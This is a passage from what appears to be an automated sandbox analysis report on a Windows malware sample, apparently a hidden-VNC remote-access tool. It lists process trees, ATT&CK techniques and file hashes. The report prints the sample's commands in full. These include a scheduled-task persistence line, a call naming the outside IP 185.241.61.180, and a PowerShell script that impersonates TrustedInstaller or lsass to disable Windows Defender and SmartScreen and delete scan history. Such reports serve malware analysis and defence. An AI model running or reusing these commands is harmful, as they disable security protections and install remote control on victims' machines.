powershell.exe 97 PID 2620 wrote to memory of 2020 2620 powershell.exe 98 PID 2620 wrote to memory of 2020 2620 powershell.exe 98 PID 2620 wrote to memory of 1888 2620 powershell.exe 100 PID 2620 wrote to memory of 1888 2620 powershell.exe 100 PID 2620 wrote to memory of 2452 2620 powershell.exe 101 PID 2620 wrote to memory of 2452 2620 powershell.exe 101 PID 2620 wrote to memory of 2900 2620 powershell.exe 102 PID 2620 wrote to memory of 2900 2620 powershell.exe 102 PID 2620 wrote to memory of 2448 2620 powershell.exe 103 PID 2620 wrote to memory of 2448 2620 powershell.exe 103 PID 2448 wrote to memory of 4464 2448 powershell.exe 105 PID 2448 wrote to memory of 4464 2448 powershell.exe 105 PID 2448 wrote to memory of 1464 2448 powershell.exe 106 PID 2448 wrote to memory of 1464 2448 powershell.exe 106 PID 2448 wrote to memory of 2100 2448 powershell.exe 108 PID 2448 wrote to memory of 2100 2448 powershell.exe 108 PID 2448 wrote to memory of 3032 2448 powershell.exe 109 PID 2448 wrote to memory of 3032 2448 powershell.exe 109 PID 2448 wrote to memory of 2404 2448 powershell.exe 110 PID 2448 wrote to memory of 2404 2448 powershell.exe 110 PID 2244 wrote to memory of 4004 2244 Defender.exe 111 PID 2244 wrote to memory of 4004 2244 Defender.exe 111 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:712
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo=' (\ /) ( * . * ) A limited account protects you from UAC exploits ``` ';$env:1=6;iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}2⤵
- Modifies Windows Defender Real-time Protection settings
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2448 -
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" qc windefend3⤵
- Launches sc.exe
PID:4464
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"3⤵PID:1464
-
-
C:\Windows\system32\whoami.exe"C:\Windows\system32\whoami.exe" /groups3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2100
-
-
C:\Windows\system32\net1.exe"C:\Windows\system32\net1.exe" stop windefend3⤵PID:3032
-
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" config windefend depend= RpcSs-TOGGLE3⤵
- Launches sc.exe
PID:2404
-
-
-
C:\Users\Admin\AppData\Local\Temp\Client.exe"C:\Users\Admin\AppData\Local\Temp\Client.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3644 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Defender" /tr '"C:\Users\Admin\AppData\Roaming\Defender.exe"' & exit2⤵
- Suspicious use of WriteProcessMemory
PID:4948 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Defender" /tr '"C:\Users\Admin\AppData\Roaming\Defender.exe"'3⤵
- Scheduled Task/Job: Scheduled Task
PID:1464
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBA95.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
PID:4708 -
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
PID:2616
-
-
C:\Users\Admin\AppData\Roaming\Defender.exe"C:\Users\Admin\AppData\Roaming\Defender.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2244 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"4⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2932
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Default 127.0.0.1,185.241.61.180 4448 HVNC_MUTEX4⤵
- System Location Discovery: System Language Discovery
PID:1412
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc @ ( e c h o   o f f % ) [ 1 ]  
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 }  
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 }  
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     $ A = [ A p p D o m a i n ] : : C u r r e n t D o m a i n . " D e f ` i n e D y n a m i c A s s e m b l y " ( 1 , 1 ) . " D e f ` i n e D y n a m i c M o d u l e " ( 1 ) ; $ D = @ ( ) ; 0 . . 5 | % { $ D + = $ A . " D e f ` i n e T y p e " ( ' A ' + $ _ ,  
     1 1 7 9 9 1 3 , [ V a l u e T y p e ] ) }   ; 4 , 5 | % { $ D + = $ D [ $ _ ] . " M a k ` e B y R e f T y p e " ( ) }   ; $ I = [ I n t 3 2 ] ; $ J = " I n t ` P t r " ; $ P = $ I . m o d u l e . G e t T y p e ( " S y s t e m . $ J " ) ;   $ F = @ ( 0 )  
     $ F + = ( $ P , $ I , $ P ) , ( $ I , $ I , $ I , $ I , $ P , $ D [ 1 ] ) , ( $ I , $ P , $ P , $ P , $ I , $ I , $ I , $ I , $ I , $ I , $ I , $ I , [ I n t 1 6 ] , [ I n t 1 6 ] , $ P , $ P , $ P , $ P ) , ( $ D [ 3 ] , $ P ) , ( $ P , $ P , $ I , $ I )  
     $ S = [ S t r i n g ] ;   $ 9 = $ D [ 0 ] . " D e f ` i n e P I n v o k e M e t h o d " ( ' C r e a t e P r o c e s s ' , " k e r n e l ` 3 2 " , 8 2 1 4 , 1 , $ I , @ ( $ S , $ S , $ I , $ I , $ I , $ I , $ I , $ S , $ D [ 6 ] , $ D [ 7 ] ) , 1 , 4 )  
     1 . . 5 | % { $ k = $ _ ; $ n = 1 ; $ F [ $ _ ] | % { $ 9 = $ D [ $ k ] . " D e f ` i n e F i e l d " ( ' f ' + $ n + + , $ _ , 6 ) } } ; $ T = @ ( ) ; 0 . . 5 | % { $ T + = $ D [ $ _ ] . " C r ` e a t e T y p e " ( ) ; $ Z = [ u i n t p t r ] : : s i z e  
     n v   ( ' T ' + $ _ ) ( [ A c t i v a t o r ] : : C r e a t e I n s t a n c e ( $ T [ $ _ ] ) ) } ;   $ H = $ I . m o d u l e . G e t T y p e ( " S y s t e m . R u n t i m e . I n t e r o p ` S e r v i c e s . M a r ` s h a l " ) ;  
     $ W P = $ H . " G e t ` M e t h o d " ( " W r i t e $ J " , [ t y p e [ ] ] ( $ J , $ J ) ) ;   $ H G = $ H . " G e t ` M e t h o d " ( " A l l o c H ` G l o b a l " , [ t y p e [ ] ] ' i n t 3 2 ' ) ;   $ v = $ H G . i n v o k e ( $ n u l l , $ Z )  
     ' T r u s t e d I n s t a l l e r ' , ' l s a s s ' | % { i f ( ! $ p n ) { n e t 1   s t a r t   $ _   2 > & 1   > $ n u l l ; $ p n = [ D i a g n o s t i c s . P r o c e s s ] : : G e t P r o c e s s e s B y N a m e ( $ _ ) [ 0 ] ; } }  
     $ W P . i n v o k e ( $ n u l l , @ ( $ v , $ p n . H a n d l e ) ) ;   $ S Z = $ H . " G e t ` M e t h o d " ( " S i z e O f " , [ t y p e [ ] ] ' t y p e ' ) ;   $ T 1 . f 1 = 1 3 1 0 7 2 ;   $ T 1 . f 2 = $ Z ;   $ T 1 . f 3 = $ v ;   $ T 2 . f 1 = 1  
     $ T 2 . f 2 = 1 ; $ T 2 . f 3 = 1 ; $ T 2 . f 4 = 1 ; $ T 2 . f 6 = $ T 1 ; $ T 3 . f 1 = $ S Z . i n v o k e ( $ n u l l , $ T [ 4 ] ) ; $ T 4 . f 1 = $ T 3 ; $ T 4 . f 2 = $ H G . i n v o k e ( $ n u l l , $ S Z . i n v o k e ( $ n u l l , $ T [ 2 ] ) )  
     $ H . " G e t ` M e t h o d " ( " S t r u c t u r e T o ` P t r " , [ t y p e [ ] ] ( $ D [ 2 ] , $ J , ' b o o l e a n ' ) ) . i n v o k e ( $ n u l l , @ ( ( $ T 2 - a s   $ D [ 2 ] ) , $ T 4 . f 2 , $ f a l s e ) ) ; $ w i n d o w = 0 x 0 E 0 8 0 6 0 0  
     $ 9 = $ T [ 0 ] . " G e t ` M e t h o d " ( ' C r e a t e P r o c e s s ' ) . I n v o k e ( $ n u l l , @ ( $ n u l l , $ c m d , 0 , 0 , 0 , $ w i n d o w , 0 , $ n u l l , ( $ T 4 - a s   $ D [ 4 ] ) , ( $ T 5 - a s   $ D [ 5 ] ) ) ) ;   b r e a k  
 }  
  
 $ w d p = ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '  
 '   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s ' , ' \ U X   C o n f i g u r a t i o n ' , ' \ M p E n g i n e ' , ' \ S p y n e t ' , ' \ R e a l - T i m e   P r o t e c t i o n '   | %   { n i   ( $ w d p + $ _ ) - e a   0 | o u t - n u l l }  
  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r   S e c u r i t y   C e n t e r \ N o t i f i c a t i o n s '   D i s a b l e N o t i f i c a t i o n s   1   - T y p e   D w o r d   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ U X   C o n f i g u r a t i o n '   N o t i f i c a t i o n _ S u p p r e s s   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s \ S y s t e m '   E n a b l e S m a r t S c r e e n   0   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ P o l i c i e s \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 s p   ' H K L M : \ S O F T W A R E \ M i c r o s o f t \ W i n d o w s   D e f e n d e r '   D i s a b l e A n t i S p y w a r e   1   - T y p e   D w o r d   - F o r c e   - e a   0  
 n e t 1   s t o p   w i n d e f e n d  
 s c . e x e   c o n f i g   w i n d e f e n d   d e p e n d =   R p c S s - T O G G L E  
 k i l l   - N a m e   M p C m d R u n   - F o r c e   - e a   0  
 s t a r t   ( $ e n v : P r o g r a m F i l e s + ' \ W i n d o w s   D e f e n d e r \ M p C m d R u n . e x e ' )   - A r g   ' - D i s a b l e S e r v i c e '   - w i n   1  
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ m p e n g i n e d b . d b ' )   - F o r c e   - e a   0                       # #   C o m m e n t e d   =   k e e p   s c a n   h i s t o r y  
 d e l   ( $ e n v : P r o g r a m D a t a + ' \ M i c r o s o f t \ W i n d o w s   D e f e n d e r \ S c a n s \ H i s t o r y \ S e r v i c e ' )   - R e c u r s e   - F o r c e   - e a   0  
 ' @   - F o r c e   - e a   0 ;   i e x ( ( g p   R e g i s t r y : : H K E Y _ U s e r s \ S - 1 - 5 - 2 1 * \ V o l a t i l e *   T o g g l e D e f e n d e r   - e a   0 ) [ 0 ] . T o g g l e D e f e n d e r )  
 # - _ - # 4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" qc windefend5⤵
- Launches sc.exe
PID:4168
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"5⤵PID:2020
-
-
C:\Windows\system32\whoami.exe"C:\Windows\system32\whoami.exe" /groups5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1888
-
-
C:\Windows\system32\net1.exe"C:\Windows\system32\net1.exe" start TrustedInstaller5⤵PID:2452
-
-
C:\Windows\system32\net1.exe"C:\Windows\system32\net1.exe" start lsass5⤵PID:2900
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd"4⤵PID:4004
-
-
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2420
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1216
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.131⤵
- Modifies registry class
PID:1244
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Active Setup
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Active Setup
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5aa0a32b11dca7b04f4cc5fe8c55cb357
SHA100e354fd0754a7d721a270cdc08f970b9a3f6605
SHA256e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
SHA5121db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30
-
Filesize
1KB
MD5744b1d0c61ab73e56bf9bdb1ccbc25fe
SHA19032388ebcea797007bdaf8358ca3a5ca708d40b
SHA2567993c87b8ffb70892742c42ca99133a399bcd6c8759b8657f3cf90a7d3822adf
SHA5123d3fd9eccc1347051d784e376bdcb63c1e7c7701a9bbbe28c505b662e73e5a86e059011301161d1328933aa458ada5a81b34a63896b6f72358dc16a738a1947d
-
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\3da440f6-e78b-4868-8539-f5d7c3db0846.down_data
Filesize555KB
MD55683c0028832cae4ef93ca39c8ac5029
SHA1248755e4e1db552e0b6f8651b04ca6d1b31a86fb
SHA256855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e
SHA512aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3
-
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
Filesize10KB
MD596329c73cc49cd960e2485210d01c4d2
SHA1a496b98ad2f2bbf26687b5b7794a26aa4470148e
SHA2564c159cab6c9ef5ff39e6141b0ccb5b8c6251a3d637520609dfbdd852fa94d466
SHA512e98736a879cad24c693d6c5939654b2fd25bf9d348f738668624214f22d541a9b781c967201ab2d43cbac9207946824a0299d482485f4b63c48d5d2a839e5baf
-
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
Filesize10KB
MD5847a64ce22adca83e091e5403ef844ed
SHA1f2cf8559f0eba3d237cee1162b811613d2a0c308
SHA2561db255895b125edbed50b5296edafaf303dde2b93a600313b6a1aa61f9ec2b88
SHA51294abff56e498bfd7af0e72a652a0b03d29cbe7d0322f43cb8fa4182cfa829ec6d608c5bb3f6deaaf1dcaae764c90036beedb503109c8080999dfaf2d6a2e9de6
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
152B
MD50b9b50d60307520d4261815bab09ea14
SHA153761106093b770e3ac26af6cb48b3b540c7c90f
SHA256b65e7f704398a45063d6f654b54a4041506b75a9699f8c5f9470a44ec0d524d5
SHA512ffe87f709125cbc222ed945428fc0c179ff4f0d3951ceba83c7f844279cb2144a4f3b8650c203ad53c6c5d0a8cc5a9f09f310469fb8333a3718c0302da6605d6
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Filesize
74KB
MD5ff9957be040ba821afc9248d7f3c9e74
SHA119bf5b47a05a06f8c448286979c17364df9b9d8a
SHA256f0de46c374e87a43f8e8d977ed7920271beb883f0cc19492698301ea412498e5
SHA5122b283049ffaecb665006453bf5757ea7adc95a678ded145285bf8529a824a1ec10d1e92c319553d436d4aea4e665fe995db6748a22fa72898faf8adbeef17703
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Filesize
8B
MD5cf759e4c5f14fe3eec41b87ed756cea8
SHA1c27c796bb3c2fac929359563676f4ba1ffada1f5
SHA256c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761
SHA512c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b